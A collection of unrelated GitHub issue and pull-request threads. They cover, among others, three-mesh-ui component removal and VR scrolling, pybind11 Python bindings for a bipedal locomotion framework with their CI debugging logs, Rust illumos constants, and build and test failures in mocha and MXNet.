https://github.com/notifications/unsubscribe-auth/AADV0gLMRt4qKgcXD2CXuGuY68zK_alsks5rZjYLgaJpZM4L3jT7
.

Hmm, the issue doesn't repro w/ this example on my Mac w/ Chrome 56 stable or 58 canary, or Linux w/ Chrome 56 stable, 57 beta, or 58 canary. I'll come up w/ a better repro.


New TBeam Drivers for Mac

Describe the bug
Not able to upload code to TBeams with new USB hardware. Silicon Labs driver no longer works.
To reproduce
Plug in latest TBeam version and check ports. Instead of showing Silicon Labs it shows something different.
Expected behavior
Port should show serial to upload to
Screenshots
If applicable, add screenshots to help explain your problem.
Desktop (please complete the following information):

Mac

Additional context
There is a driver that can be downloaded that works on Big Sur

I updated the WiKi to list the new USB drivers


Remove a component?

Hello,
What is the advised way of removing a component? Like the inverse of component.add()?

Thanks for asking this question, I realized that using the Object3D.remove function caused issues because it doesn't trigger a recalculation of the layout. I have updated the lib, added a MeshUIComponent.remove method that override the Object3D.remove method in order to trigger a layout update.
Here is a fiddle

Thank you very much @felixmariotto !!
I found that using a combination of component.remove (which removes from three.js) and component.clear (an undocumented function of three-mesh-ui) worked, but it'll be much nicer just to have the remove function!
Here's a screenshot of what I built thanks to three-mesh-ui: I file browser which I can use to navigate the files in my hard disk drive from the VR headset. The scroller is working, and I can go in an out from the directories. I'm planning to use it to open 3d models for my hard disk drive :p
Thank you for the great module!

OMG it looks so good ! Well done !

@r03ert0 Do you have a fiddle that you could share for the same  ? :)

hi @SrinivasPrabhu794
@felixmariotto's approach is better. Check his fiddle here https://jsfiddle.net/felixmariotto/boc0yr2e/

Sure @r03ert0  Thanks for the fiddle :)

@r03ert0  I meant a fiddle for the scrolling option :)

ah! sorry! there's no scrolling option built in three-mesh-ui... it's something I wrote for an app and is not an independent module (at some point I'll put the whole app on github).

Ok. that's cool. Not a problem.  What was the basic logic behind scrolling the options here?
You just translate up the whole container whenever the scrollbar translates down?

I first tried having a long block with all items and then using the hideOverflow option to show only a part of it. But now I'm just updating the content of the block with the selection of items every time the slider cursor moves. The only slightly tricky part is to get the position of the slider cursor relative to the whole slider rail, and make it move. For that, I first store the initial position of the cursor once a trigger is pressed, then I compute a vector having the same orientation as the rail, and I compute the amount of displacement to be the dot product between the rail vector and the vector that goes from the stored initial point and the current point. There's some joggling between local and global coordinate spaces...

@r03ert0 @SrinivasPrabhu794
Actually I've been asked several times for a built-in scrolling solution, but I'm at a loss to find the right API.
The scrolling itself is not a big deal, just child.position.y += whatever. However as you wrote above, the tricky part is to get how much scroll is desired, and in which direction.
Three-mesh-ui does not assume how the UI it creates is interacted with, so as to be open for non-VR projects, wild AR experiments... A hypothetical built-in slider could be interacted with by two rays cast from two VR controllers, from one ray cast from the camera, from spheres representing VR hand joints... I'm not sure how to help all these use-cases in one API.
I'm open for suggestions here.

I'll try to pack a little minimal example with my approach, if that can help get the ball rolling :)

@r03ert0  thanks a lot !

Hey @r03ert0, your scroll example above is phenomenal!
I'm in the early stages of attempting such an implementation myself, but am coming across some issues it seems you fought with yourself.
I'm building a complex widget with three mesh ui to display a list of interactive buttons. That list obviously can't show all buttons at the same time, and in tandem I'll be working on a scroll view in order to scroll through the buttons. I'd like to take advantage of @felixmariotto suggestion in simply modifying the y position of my parent container.
One problem I have yet to solve though is preventing the raycasting code shown in the interactive button example from colliding with buttons being hidden because they are overflow. Looks like you solved this issue by only appending items that will be visible in the viewport itself. That solution is a good one, but I'm curious if @felixmariotto has any thoughts here. I'd like to take advantage of Three Mesh UI's hidden overflow, but am open to other ideas.
Thanks!

@JoeCoppola-HIA I think the easiest would be to code some logic that make sure the ray also intersect a Block that is not clipped.
Let's say you have a 2x2 Block in which you put a 2x8 list with buttons inside. When you hit one of the button, check if you also hit the 2x2 Block with the same ray.

having parent UI objects pass interaction events down to any children objects

Quite an elegant solution. And everything has been said to be able to code a three-mesh-ui example, which would be an interesting contribution.
I would like to know if you (or any body who want to share something regarding scrolling implementation ) would be ok and if you have time to share some code or not, before starting something. Thank you.
Everything related to scrolling is interesting (approach, easing, controlers behavior choice). Pretext to create a github "discussion" ?

Everything related to scrolling is interesting (approach, easing, controlers behavior choice). Pretext to create a github "discussion" ?

Go for it !

That would be great @JoeCoppola-HIA thanks !


illumos add few fcntl consts

Some changes occurred in solarish module
cc @jclulow,@pfmooney

r? @Amanieu
(rust-highfive has picked a reviewer for you, use r? to override)

note, not sure they re all illumos exclusive.

Looking at the git history can be a good indicator for that.
These all date back to the (Open)Solaris days and thus should be present on both platforms.

@bors r+

:pushpin: Commit 0f109e209dfc1ff0ea86096a18f3e73352e4459e has been approved by Amanieu

:hourglass: Testing commit 0f109e209dfc1ff0ea86096a18f3e73352e4459e with merge de9e47704c2e0a4ddb15ba77d45f4480c44afea8...

:sunny: Test successful - checks-actions, checks-cirrus-freebsd-11, checks-cirrus-freebsd-12, checks-cirrus-freebsd-13
Approved by: Amanieu
Pushing de9e47704c2e0a4ddb15ba77d45f4480c44afea8 to master...


Support authorization in current android task

This will likely need to be rebased onto a release branch, but creating here for initial review.
Added new classes to isolate changes: CurrentTaskAuthorizationStrategy, CurrentTaskAuthorizationActivity, CurrentTaskAuthorizationFragment, CurrentTaskBrowserAuthorizationFragment
Added new factory for authorization activities and fragments
Added MSAL Configuration singleton to the library
Some basic refactoring to clean up some code

This needs a changelog entry.

This needs a changelog entry.

Yes we should add a changelog entry prior to merging it

This needs a changelog entry.

Done.


Add seff support to evaluate resource allocation after executation

Employ slurm command seff for each finished job and append output to the respective slurm-job log file to get statistics on resource usage. Over time this can help to raise awareness of more appropriate resource allocation.

Interesting idea. It's not going to happen 1:1 because seff is just a Perl wrapper around sacct. ;-)
However, we query sacct anyway. To extend this call and report resource usage is certainly feasible. What I would not like is to see the Memory efficiency reported by seff: this is nonsense because for some application we have to reserve a full node and hardly use memory. Yet, seff will calculate the ratio between the memory of a fully reserved node and a low memory footprint. Bad idea. I would just enjoy reading the delta.
Note: I am willing to code that, will not do it because of obligations until mid-October. If you submit a PR sooner, it will be considered.


Add Python bindings based on pybind11

This PR build upon https://github.com/dic-iit/bipedal-locomotion-framework/pull/131 and provides a first working implementation of Python bindings for the following classes:

Contact
ContactList
ContactPhase
ContactPhaseList
QuinticSpline
IParameterHandler
StdImplementation
SwingFootPlanner
DCMPlanner
TimeVaryingDCMPlanner

Each of these classes are accompanied by some unit testing developed with pytest. I updated the previous example that was using unittest, I believe that pytest is superior in features and integration with other Python tools.
This is the first time I develop Python bindings with pybind11, I'm more used with SWIG. This means that the current implementation is not optimal, I'm still in the process of learning tricks for pybind11. All in all, I can say that coming from SWIG, there are many things that are much easier with pybind11.
Here below some caveats I found:

Since Python is a dynamically typed language, the  IParametersHandler APIs logic to select the correct method based on the type cannot work (reliably). I had to define a different overloaded method for each of the supported parameter type.
Mapping manif types is still rudimentary, I tried to expose to Python the underlying Eigen container since pybind11 automatically performs the conversion from/to numpy.
The extensive usage of iterators create many headaches when the methods to bind operate on them. Due to this, ContactPhase::activeContacts is r/o, and some of the ContactList methods have not been exposed to Python. Be aware that the usage theContactList class, particularly, could differ than the C++ counterpart.
Inheritance schemes have been mostly neglected. The Python module is aware of the inheritaces from Advanceable and IParametersHandler, but it's not possible creating Python classes that inherit from them. This is not a big limitation unless we're interested in extending those classes in Python, and it could be addressed if and when we'll going to have this need.

Note: I removed the GenericContainer bindings initially added by @GiulioRomualdi since they're not currently needed and I still have to figure out how to deal with them.
cc @GiulioRomualdi @S-Dafarra @traversaro

Btw, thanks a lot @diegoferigo for this. The whole bindings code is a bit Aramaic for me :grin:

CC @dic-iit/dynamic-interaction-control

Thanks @GiulioRomualdi for the comments

I completely understand the reason why you decided to use pybind11 instead of swig, however I'm afraid of the amount of code that has to be written if a new class/method will be implemented in the future. For instance, if I'm going to implement new methods in the TimeVarying DCM planner before having them in python the bindings/python/TimeVaryingDCMPlanner.cpp has to be changed (and I'm too lazy to do the same modification twice, also because it may be not trivial. E.g. definition of lambda functions.)

I guess this is the price to pay for the decision to use modern standards. To my knowledge there are no valid / widely used / thoroughly documented alternatives to pybind11 for our case. Keep in mind that new contributions to C++ do not strictly need to include also the Python counterpart. If you want to do it, perfect, otherwise the next person that will need the method from Python will implement the missing method. The lambda function is required only if the method uses non-common data types like those from manif. Or maybe I'm just too unfamiliar with pybind11 that I cannot see other ways.

Sorry guys but the situation for the get* methods is a mess, I spent already too many hours on it and I feel frustrated from the limitations I encountered. To properly implement it, I have to change anyway few things of the storage. I don't personally need this functionality of the YARP backend, I'll remove from this PR all the related code and proceed with just the bindings.
I'll open a PR with the current implementation to keep track of the current code (with the corner case) in case anyone wants to get it back. Feel free to close the new PR right I open it.

I think after the last commits this PR is finalized. Let me know if you have any other comment to address.

After these two small things, we are good to merge for me!

Awesome, I've just addressed the last comments. I had to rebase the entire PR on top of master due to a new conflict.

Sure, I think this is already quite a good start. We now have a valid file / folder structure and the classes already wrapped provide a decent reference for the remaining ones.
As a final note, this PR does not take in consideration any optimization that at this stage is definitely premature. The bindings in many cases perform a copy of the data particularly when passing from C++ to Python. Pybind11 provides different methods to avoid copies (e.g. exploiting the buffer protocol or using eigen maps), but they need some time to get implemented properly and they should be widely tested and benchmarked. Sharing the memory of an object without having surprises is tricky to get right.

@diegoferigo thank you very much for the effort. If @traversaro and @S-Dafarra agree I can proceed with the merge.

Ok for me!

@diegoferigo thank you very much for the effort. If @traversaro and @S-Dafarra agree I can proceed with the merge.

Go also for me!

Let me know if you want to reorganize the commits, otherwise, we can merge it as it is.

I reordered all the commits I could. Maybe I could squash a couple but it would require to handle too many conflicts and it's not worth. I think there's a good enough history, with nice examples for future contributions like 6524a82 and 9daa8fd.

Last but not least could you update the CHANGELOG.md?

Done

@GiulioRomualdi should we merge this?

@GiulioRomualdi should we merge this?

Yes! There some conflicts that are caused by #136. I can fix it

https://github.com/dic-iit/bipedal-locomotion-framework/pull/134/commits/870d3ae213df22a8201c7b91364d6ed78c21e452 should fix the conflicts, let's wait for the CI

Thanks @GiulioRomualdi. Since you mentioned, this PR adds a new ctest that calls pytest with the Python tests. This is not enabled in the CI pipeline. I don't know what's the intended support policy for the bindings and adding them to CI means that whoever opens PR must address any problem related to them.

Thanks @GiulioRomualdi. Since you mentioned, this PR adds a new ctest that calls pytest with the Python tests. This is not enabled in the CI pipeline. I don't know what's the intended support policy for the bindings and adding them to CI means that whoever opens PR must address any problem related to them.

I was about to ask. I think it is better to have them in the CI. There we have the fully-fledged version of the framework. I want to have some insurance that a new PR will not break existing workflows, especially those that may be overlooked.

I was about to ask. I think it is better to have them in the CI. There we have the fully-fledged version of the framework. I want to have some insurance that a new PR will not break existing workflows, especially those that may be overlooked.

Shall we add it in this PR o we open a new one?

Shall we add it in this PR o we open a new one?

For me it is the same. It would make sense to add them know, avoiding procrastination or to spot new bugs at early stages. But it is also true that this PR has been going on since a lot, and starting fresh with a new PR may be beneficial. So I guess it is up to you.

For me it is the same. It would make sense to add them now, avoiding procrastination or to spot new bugs at the early stages. But it is also true that this PR has been going on for a lot, and starting fresh with a new PR may be beneficial. So I guess it is up to you.

I agree with adding them now. @diegoferigo could you add handle this?

I fear that doing things for all the supported OS will take a long time, not sure when I can allocate enough time for that. I'll try to prioritize the support for at least Ubuntu if that's ok for you.

I'll try to prioritize the support for at least Ubuntu if that's ok for you.

I agree then we can open an issue to keep track of the porting of the CI on windows and mac

I'll try a first attempt as multiplatform support b0bad50, then I'll trim it progressively in case of problems that are not trivial to fix.
A comment: I saw that you rely on find_package to implicitly enable / disable the features depending on whether a dependency was found or not. Maybe explicitly doing it would be more robust. I started doing so by forcing FRAMEWORK_USES_PYTHON=ON.

In the past I tried to support some projects on Python on macOS and Windows and I got crazy because the user can install Python in several different ways, that may not be compatible with the Python you use to compile the bindings. I think that conda is probably the way to go if we want to support Python bindings in macOS/Windows .

@diegoferigo I've just tried to compile on my laptop I also ran the tests.
      Start 21: pybind11_BipdealLocomotion_test
21/21 Test #21: pybind11_BipdealLocomotion_test ..........   Passed    1.59 sec

Hi @diegoferigo I try to replicate the CI error on my laptop.
ctest -R pybind11_BipdealLocomotion_test --verbose
UpdateCTestConfiguration  from :/home/gromualdi/robot-code/bipedal-locomotion-framework_swig/build/DartConfiguration.tcl
Parse Config file:/home/gromualdi/robot-code/bipedal-locomotion-framework_swig/build/DartConfiguration.tcl
UpdateCTestConfiguration  from :/home/gromualdi/robot-code/bipedal-locomotion-framework_swig/build/DartConfiguration.tcl
Parse Config file:/home/gromualdi/robot-code/bipedal-locomotion-framework_swig/build/DartConfiguration.tcl
Test project /home/gromualdi/robot-code/bipedal-locomotion-framework_swig/build
Constructing a list of tests
Done constructing a list of tests
Updating test list for fixtures
Added 0 tests to meet fixture requirements
Checking test dependency graph...
Checking test dependency graph end
test 41
    Start 41: pybind11_BipdealLocomotion_test

41: Test command: /usr/bin/python3.6 "-m" "unittest" "discover" "-s" "/home/gromualdi/robot-code/bipedal-locomotion-framework_swig/bindings/python/tests"
41: Test timeout computed to be: 1500
41: EEEEEE
41: ======================================================================
41: ERROR: test_base_types (unittest.loader._FailedTest)
41: ----------------------------------------------------------------------
41: ImportError: Failed to import test module: test_base_types
41: Traceback (most recent call last):
41:   File "/usr/lib/python3.6/unittest/loader.py", line 428, in _find_test_path
41:     module = self._get_module_from_name(name)
41:   File "/usr/lib/python3.6/unittest/loader.py", line 369, in _get_module_from_name
41:     __import__(name)
41:   File "/home/gromualdi/robot-code/bipedal-locomotion-framework_swig/bindings/python/tests/test_base_types.py", line 4, in <module>
41:     import bipedal_locomotion_framework.bindings as blf
41: ModuleNotFoundError: No module named 'bipedal_locomotion_framework'
41:
41:
41: ======================================================================
41: ERROR: test_contact (unittest.loader._FailedTest)
41: ----------------------------------------------------------------------
41: ImportError: Failed to import test module: test_contact
41: Traceback (most recent call last):
41:   File "/usr/lib/python3.6/unittest/loader.py", line 428, in _find_test_path
41:     module = self._get_module_from_name(name)
41:   File "/usr/lib/python3.6/unittest/loader.py", line 369, in _get_module_from_name
41:     __import__(name)
41:   File "/home/gromualdi/robot-code/bipedal-locomotion-framework_swig/bindings/python/tests/test_contact.py", line 4, in <module>
41:     import bipedal_locomotion_framework.bindings as blf
41: ModuleNotFoundError: No module named 'bipedal_locomotion_framework'
41:
41:
41: ======================================================================
41: ERROR: test_parameters_handler_std (unittest.loader._FailedTest)
41: ----------------------------------------------------------------------
41: ImportError: Failed to import test module: test_parameters_handler_std
41: Traceback (most recent call last):
41:   File "/usr/lib/python3.6/unittest/loader.py", line 428, in _find_test_path
41:     module = self._get_module_from_name(name)
41:   File "/usr/lib/python3.6/unittest/loader.py", line 369, in _get_module_from_name
41:     __import__(name)
41:   File "/home/gromualdi/robot-code/bipedal-locomotion-framework_swig/bindings/python/tests/test_parameters_handler_std.py", line 4, in <module>
41:     import bipedal_locomotion_framework.bindings as blf
41: ModuleNotFoundError: No module named 'bipedal_locomotion_framework'
41:
41:
41: ======================================================================
41: ERROR: test_quintic_spline (unittest.loader._FailedTest)
41: ----------------------------------------------------------------------
41: ImportError: Failed to import test module: test_quintic_spline
41: Traceback (most recent call last):
41:   File "/usr/lib/python3.6/unittest/loader.py", line 428, in _find_test_path
41:     module = self._get_module_from_name(name)
41:   File "/usr/lib/python3.6/unittest/loader.py", line 369, in _get_module_from_name
41:     __import__(name)
41:   File "/home/gromualdi/robot-code/bipedal-locomotion-framework_swig/bindings/python/tests/test_quintic_spline.py", line 4, in <module>
41:     import bipedal_locomotion_framework.bindings as blf
41: ModuleNotFoundError: No module named 'bipedal_locomotion_framework'
41:
41:
41: ======================================================================
41: ERROR: test_swing_foot_planner (unittest.loader._FailedTest)
41: ----------------------------------------------------------------------
41: ImportError: Failed to import test module: test_swing_foot_planner
41: Traceback (most recent call last):
41:   File "/usr/lib/python3.6/unittest/loader.py", line 428, in _find_test_path
41:     module = self._get_module_from_name(name)
41:   File "/usr/lib/python3.6/unittest/loader.py", line 369, in _get_module_from_name
41:     __import__(name)
41:   File "/home/gromualdi/robot-code/bipedal-locomotion-framework_swig/bindings/python/tests/test_swing_foot_planner.py", line 4, in <module>
41:     import bipedal_locomotion_framework.bindings as blf
41: ModuleNotFoundError: No module named 'bipedal_locomotion_framework'
41:
41:
41: ======================================================================
41: ERROR: test_time_verying_dcm_planner (unittest.loader._FailedTest)
41: ----------------------------------------------------------------------
41: ImportError: Failed to import test module: test_time_verying_dcm_planner
41: Traceback (most recent call last):
41:   File "/usr/lib/python3.6/unittest/loader.py", line 428, in _find_test_path
41:     module = self._get_module_from_name(name)
41:   File "/usr/lib/python3.6/unittest/loader.py", line 369, in _get_module_from_name
41:     __import__(name)
41:   File "/home/gromualdi/robot-code/bipedal-locomotion-framework_swig/bindings/python/tests/test_time_verying_dcm_planner.py", line 4, in <module>
41:     import bipedal_locomotion_framework.bindings as blf
41: ModuleNotFoundError: No module named 'bipedal_locomotion_framework'
41:
41:
41: ----------------------------------------------------------------------
41: Ran 6 tests in 0.001s
41:
41: FAILED (errors=6)
1/1 Test #41: pybind11_BipdealLocomotion_test ...***Failed    0.21 sec

0% tests passed, 1 tests failed out of 1

Total Test time (real) =   0.21 sec

The following tests FAILED:
	 41 - pybind11_BipdealLocomotion_test (Failed)
Errors while running CTest

22:   /usr/lib/python3.6/importlib/_bootstrap.py:219: RuntimeWarning: numpy.ufunc size changed, may indicate binary incompatibility. Expected 192 from C header, got 216 from PyObject

This seems like we are mixing the numpy of pip and the one from apt.

I investigated on https://github.com/dic-iit/bipedal-locomotion-framework/pull/134#issuecomment-729235571 and I discoer this.
The checks of a unitary quaternion are handled in manif thought MANIF_ASSERT
Please check here: https://github.com/artivis/manif/blob/44bdfebff0fbc56cb189f680212257dc7f20ea58/include/manif/impl/se3/SE3_base.h#L242-L252
however, the MANIF_ASSERT macro is "correctly" called only if MANIF_NO_DEBUG is not defined https://github.com/artivis/manif/blob/6d07bc65cc5b25c49f1231021be5e61132e5f777/include/manif/impl/macro.h#L86-L95
Last but not least MANIF_NO_DEBUG is defined only if the preprocessor NDEBUG is not defined (e.g. in releases) https://github.com/artivis/manif/blob/6d07bc65cc5b25c49f1231021be5e61132e5f777/include/manif/impl/macro.h#L6-L10
Finally, since manif is a template-only library it is compiled with blf so if blf is compiled in release NDEBUG is not defined -> MANIF_NO_DEBUG is defined and  MANIF_ASSERT does nothing.
Long story short that exception will never rise in release.

Thanks @GiulioRomualdi for the feedback, brilliant! I initially though something similar too, but it could not explain why also the test that compiles BLF in Debug fails with the same error. Do you have any idea?

@diegoferigo

Thanks @GiulioRomualdi for the feedback, brilliant! I initially though something similar too, but it could not explain why also the test that compiles BLF in Debug fails with the same error. Do you have any idea?

Actually checking the ci.yml file there seems that -DCMAKE_BUILD_TYPE=${{ matrix.build_type }} is missing on Linux and mac :cry:
https://github.com/dic-iit/bipedal-locomotion-framework/blob/3b4822ee977c56f3ba745ad2cedb10f102829bbd/.github/workflows/ci.yml#L300-L319
could you try to add it in the yml file?

Thanks @GiulioRomualdi for the feedback, brilliant! I initially though something similar too, but it could not explain why also the test that compiles BLF in Debug fails with the same error. Do you have any idea?

Actually checking the ci.yml file there seems that -DCMAKE_BUILD_TYPE=${{ matrix.build_type }} is missing on Linux and mac :cry:

Now everything starts to make sense, thanks @GiulioRomualdi. I saw you merged already, let's see if it works at least Debug.
Then, I hope I can squash all those commits, I never tried after a merge commit :) I'm used to push and squash on fork branches, and if needed, rebase.

Debug is indeed working, thanks @GiulioRomualdi! I'll fix the PR when I can get back to it.

@GiulioRomualdi in the latest force-push I merged (again) master and squashed all the test commits I did few days ago. Then, I fixed the failing test and disabled Windows (note that all the dependencies are there in case someone wants to finalize its status, only the CMake feature is disables for this platform).
I also moved the find_package of pybind11 after the Python3 one since I think it messes up the process. I explain it better. I think that find_package(pybind11) internally calls something similar to find_package(Python). The problem is that it always finds the system's interpreter if pybind11 was installed with apt on Ubuntu. This happens regardless of the BLF configuration of FindPython3. In CI, Python is installed in /opt, and this enables finding and testing different Python versions. This problem prevents Ubuntu to find the right interpreter. It is likely a subtle pybind11 bug that is too demanding to catch, 0ba025b is a quick workaround.

d6d200c fixes also the last problem on macOS. The binary of pytest could be taken also from a Python installation that is not what CMake detects. I added a new Findpytest.cmake file and use to find any pytest in the PATH. CI is green :tada:

Perfect @diegoferigo . Just to recap. On Ubuntu and macOS the bindigs are compiled and the test run without error. On windows the bindigs and the test are disabled, right?

Perfect @diegoferigo . Just to recap. On Ubuntu and macOS the bindigs are compiled and the test run without error. On windows the bindigs and the test are disabled, right?

Correct.

I think we can merge. I then open an issue to track the compilation on the bindings on windows.
@diegoferigo @traversaro @S-Dafarra please give me the 👍 if you agree

I then open an issue to track the compilation of the bindings on windows.

For the records, compilation is successful, but the bindings do not work as intended. This workflow is the latest on windows that failed. I don't have experience with Python on Windows and I have no clue why only there things differ.

Today it's an important day! We have the first working python bindings for the project. Thank you a lot guys! And thank you @diegoferigo for keeping iterating


Update versioning-policy.md about mini dashboard

Pinging @bidoubiwa since you are now the maintainer of mini-dashboard
Also pinging @Kerollmops for your information, and @irevoire because you are the one who mentioned it internally.

Thanks both of you!


Remove debug code

The corresponding bug has been confirmed fixed so we are removing the debug codes introduced in #16714.

Basic Tests C# MacOS  - infrastructure error
Interop Cloud-to-Cloud Tests - #18523


Can't drag and drop files or folders into other places or folders.

Description
New bug, for some reason I cant drag and drop items such as images or folders into a folder, it shows that little block icon on the white square, the same one that shows up when you drag an item onto your taskbar to open chrome which dosnt work on win11 anymore but use to on win10.
Btw forgot to report so the debugfiles might be late.
Steps To Reproduce

Find a file and create a folder
try to drag a file into that folder
the folder wont let you and will give you a red circle cross icon

Expected behavior
To let me drop items into a folder.
Files Version
v<IP_ADDRESS>
Windows Version
Windows 11 21H2 22000.348
Relevant Assets/Logs
debug.log
debug_fulltrust.log

@aayushyap89 is this still an issue in the preview version? https://files.community/download/preview


fix(smoke_test): fix smoke test failing with big nodes

Related to this issue autowarefoundation/autoware.universe#2684
Description
Fixed smoke test to not fail while testing big (taking lots of time to start) nodes.
Added timeout after which smoke test is considered failed (2 seconds).
Added parameters file for testing purposes.
Tests performed
Running colcon test on trajectory_follower_node now passes.
When I disabled trajectory_follower_node the test timed out after 2 seconds like it should.
Pre-review checklist for the PR author
The PR author must check the checkboxes below when creating the PR.

[x] I've confirmed the contribution guidelines.
[x] The PR follows the pull request guidelines.

In-review checklist for the PR reviewers
The PR reviewers must check the checkboxes below before approval.

[ ] The PR follows the pull request guidelines.

Post-review checklist for the PR author
The PR author must check the checkboxes below before merging.

[ ] There are no open discussions or they are tracked via tickets.

After all checkboxes are checked, anyone who has write access can merge the PR.

@TakaHoribe I moved the parameters as you wanted.
I also extended smoke test functionality to support multiple smoke tests per node and support testing only parameters (located in test directory). This is, in my opinion, the best way to deal with testing multiple configurations of the same node - create multiple testing parameter files and launch different smoke tests with every such file.
I added this functionality to trajectory_follower_node, pure_pursuit controller fails the test which is expected and I already opened an issue about this (#3309).

@TauTheLepton
Thank you so much for your work!
When I look at the lateral_controller param in autoware_launcher, param file stracture as below,
~/hoge/hoge/autoware_launch/config/control/trajectory_follower/lateral/
├── mpc.param.yaml
└── pure_pursuit.param.yaml

So it's better to move/keep parameters related pure_pusit in the pure_pursuit.param.yaml.
If my understand is not wrong, Mr. @TakaHoribe said below is

These parameters must be in the lateral_controller param as in autoware_launch.
https://github.com/autowarefoundation/autoware_launch/blob/main/autoware_launch/config/control/trajectory_follower/lateral/mpc.param.yaml#L66-L72
Would you move them into here

not move pure_pusit related param into the [lateral_controller_defaults.param.yaml](https://github.com/autowarefoundation/autoware.universe/pull/3287/commits/14bb4ec8786e6e0b443266c732039ce078dbd239#diff-e0835a03a9b2304646decbdd8a9529d532973d1994c702eac8b1c783c1ea33a9)
Do you have any reason move those params to lateral_controller_defaults.param.yaml or system limitation?

@kyoichi-sugahara

Do you have any reason move those params to lateral_controller_defaults.param.yaml or system limitation?

The only reason it is this way is because the file lateral_controller_defaults.param.yaml already existed before I started working on this issue. I just kept the old file structure.
I have a few questions about what you would like the solution to look like

Move all parameters associated with mpc controller to mpc.param.yaml like here and all parameters associated with pure pursuit controller to pure_pursuit.param.yaml like here?
If so, then maybe the same should be done with the longitudinal_controller_defaults.param.yaml - change it to become a pid.param.yaml like here?
These controller parameter files should be located in the param directory or in specific sub-directories param/lateral and param/longitudinal like here?
What to do with the controller type declaration parameters, leave them as is in the test directory?

@TauTheLepton
I see!

The only reason it is this way is because the file lateral_controller_defaults.param.yaml already existed before I started working on this issue. I just kept the old file structure.

basic idea is parameter yaml file structure including parameters in the file should be same with autoware_launch.
So yes. I think so. (but file name can be defined as test_*** so that autoware user will not get confused, if those parameters are used only for the test)

Move all parameters associated with mpc controller to mpc.param.yaml like here and all parameters associated with pure pursuit controller to pure_pursuit.param.yaml like here?

Yes I think so.

If so, then maybe the same should be done with the longitudinal_controller_defaults.param.yaml - change it to become a pid.param.yaml like here?

It's better that having same folder structure.
These controller parameter files should be located in the param directory or in specific sub-directories param/lateral and param/longitudinal like here?
If it's parameter, I think this controller type declaration param in the yaml file should be in the param dirctory.
What to do with the controller type declaration parameters, leave them as is in the test directory?

@TauTheLepton
Thank you so much for your change!
From my side, the change you made is good!

@TakaHoribe
Can you check this PR when you have time?


⚠ API Next - load whole book has degraded performance

In 1a228e8, API Next - load whole book (https://h-edu.cz/content.api/book/book-a/chaptersContent) experienced degraded performance:

HTTP code: 200
Response time: 28598 ms

Resolved: API Next - load whole book performance has improved in 743658d.


Question: Dynamic model

Hi,
I have question, is it possible to make the model dynamic. So basicly trained online. That is, data is continually entering the system and we're incorporating that data into the model through continuous updates. Is this possible with RubixML?

Yes @Snicser, Online Learners are quite common in Rubix ML. I suggest reading the docs for the details.
https://docs.rubixml.com/1.0/training.html#batch-vs-online-learning
https://docs.rubixml.com/1.0/online.html
A list of the Online Learners can be found here:
https://docs.rubixml.com/1.0/choosing-an-estimator.html


update assetgraph-builder to latest

continuation of #3412

Coverage remained the same at 90.495% when pulling 4dc322fb6d73850ea123f67645247b99a2d4661e on assetgraph-builder-update into 4bef5749859953726d1d0f6dafeeb6f7e803cb18 on master.

@papandreou this is seemingly a different issue (from build https://app.netlify.com/sites/mocha/deploys/5c01d42840e2a47b20dce778)
4:24:36 PM:  ✔ 0.698 secs: removeEmptyStylesheets
4:24:38 PM:  ✔ 0.952 secs: duplicateFavicon
4:24:38 PM:  ✔ 0.016 secs: setAsyncOrDeferOnHtmlScripts
4:24:40 PM:  ✔ 1.255 secs: moveAssetsInOrder
4:24:41 PM:  ✔ 0.981 secs: moveAssetsInOrder
4:24:41 PM:  ✔ 0.353 secs: addRelNoopenerToBlankTargetAnchors
4:24:42 PM:  ✔ 0.785 secs: reviewContentSecurityPolicy
4:24:43 PM:  ✔ 0.885 secs: reviewSubResourceIntegrity
4:24:43 PM:  ✔ 105.633 secs: buildProduction
4:24:44 PM:  ✔ 1.074 secs: writeAssetsToDisc
4:24:44 PM:       Html 72   1.2 MB
4:24:44 PM:        Ico  2  29.5 KB
4:24:44 PM:        Png  8 224.2 KB
4:24:44 PM:        Svg  2   8.2 KB
4:24:44 PM:        Css  5  55.4 KB
4:24:44 PM: JavaScript  4  24.0 KB
4:24:44 PM:     Total: 93   1.5 MB
4:24:44 PM:  ✔ 0.144 secs: writeStatsToStderr
4:24:47 PM: /opt/build/repo/node_modules/assetgraph/lib/TransformQueue.js:62
4:24:47 PM:             throw err;
4:24:47 PM:             ^
4:24:47 PM: TypeError: unnamed transform: Cannot read property 'querySelector' of undefined
4:24:47 PM:     at /opt/build/repo/scripts/netlify-headers.js:48:38
4:24:47 PM:     at Array.forEach (<anonymous>)
4:24:47 PM:     at /opt/build/repo/scripts/netlify-headers.js:47:15
4:24:47 PM:     at Array.forEach (<anonymous>)
4:24:47 PM:     at /opt/build/repo/scripts/netlify-headers.js:36:12
4:24:47 PM:     at Immediate.setImmediate [as _onImmediate] (/opt/build/repo/node_modules/assetgraph/lib/AssetGraph.js:599:25)
4:24:47 PM:     at runCallback (timers.js:810:20)
4:24:47 PM:     at tryOnImmediate (timers.js:768:5)
4:24:47 PM:     at processImmediate [as _immediateCallback] (timers.js:745:5)

cc @outsideris @munter

@boneskull, https://github.com/mochajs/mocha/pull/3595
This one also came up on the old branch (https://github.com/mochajs/mocha/pull/3412/commits/a91da2713fd640c706c277656dc2493eca58808f)

ugh appveyor queue times are brutal


Gateway timeout when downloading in test_contrib_text.test_download_embed

Description
The test 'test_contrib_text.test_download_embed' is failing in CI.  Example: http://jenkins.mxnet-ci.amazon-ml.com/blue/organizations/jenkins/incubator-mxnet/detail/PR-9609/31/pipeline/432
The failure seems to be a gateway timeout when trying to download from the url https://apache-mxnet.s3-accelerate.dualstack.amazonaws.com/gluon/embeddings/test/embedding_test.vec
This url does seem reachable externally.
Detailed Test Failure
======================================================================
ERROR: test_contrib_text.test_download_embed
----------------------------------------------------------------------
Traceback (most recent call last):
  File "C:\Anaconda3\envs\py2\lib\site-packages\nose\case.py", line 197, in runTest
    self.test(*self.arg)
  File "C:\jenkins_slave\workspace\ut-python-gpu\tests\python\unittest\test_contrib_text.py", line 131, in test_download_embed
    test_embed = text.embedding.create('test')
  File "C:\jenkins_slave\workspace\ut-python-gpu\pkg_vc14_gpu\python\mxnet\contrib\text\embedding.py", line 86, in create
    return create_text_embedding(embedding_name, **kwargs)
  File "C:\jenkins_slave\workspace\ut-python-gpu\pkg_vc14_gpu\python\mxnet\registry.py", line 163, in create
    return registry[name](*args, **kwargs)
  File "C:\jenkins_slave\workspace\ut-python-gpu\tests\python\unittest\test_contrib_text.py", line 127, in __init__
    pretrained_file_path = Test._get_pretrained_file(embedding_root, pretrained_file_name)
